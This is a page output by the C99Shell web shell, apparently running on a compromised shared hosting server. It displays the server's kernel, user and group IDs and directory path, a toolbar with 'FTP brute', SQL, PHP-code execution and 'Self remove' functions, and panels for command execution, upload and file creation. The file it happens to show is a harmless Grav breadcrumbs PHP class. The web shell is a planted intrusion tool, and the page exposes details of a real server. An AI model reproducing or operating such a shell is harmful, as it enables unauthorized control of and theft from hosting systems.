!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/aps/xcrud/plugins/select2-develop/docs/plugins/breadcrumbs/classes/   drwxr-xr-x
Free 181.02 GB of 490.84 GB (36.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     breadcrumbs.php (1.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Grav\Plugin;

use 
Grav\Common\Grav;

class 
Breadcrumbs
{

    
/**
     * @var array
     */
    
protected $breadcrumbs;
    protected 
$config;

    
/**
     * @param $config
     */
    
public function __construct($config)
    {
        
$this->config $config;
    }

    
/**
     * Get all items in breadcrumbs.
     *
     * @return array
     */
    
public function get()
    {
        if (!
$this->breadcrumbs) {
            
$this->build();
        }
        return 
$this->breadcrumbs;
    }

    
/**
     * Build breadcrumbs.
     *
     * @internal
     */
    
protected function build()
    {
        
$hierarchy = array();
        
$grav Grav::instance();
        
$current $grav['page'];

        while (
$current && !$current->root()) {
            
$hierarchy[$current->url()] = $current;
            
$current $current->parent();
        }

        
// Page cannot be routed.
        
if (!$current) {
            
$this->breadcrumbs = array();
            return;
        }

        if (
$this->config['include_home']) {
            
$home $grav['pages']->dispatch('/');
            if (
$home && !array_key_exists($home->url(), $hierarchy)) {
                
$hierarchy[] = $home;
            }
        }


        
$this->breadcrumbs array_reverse($hierarchy);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0326 ]--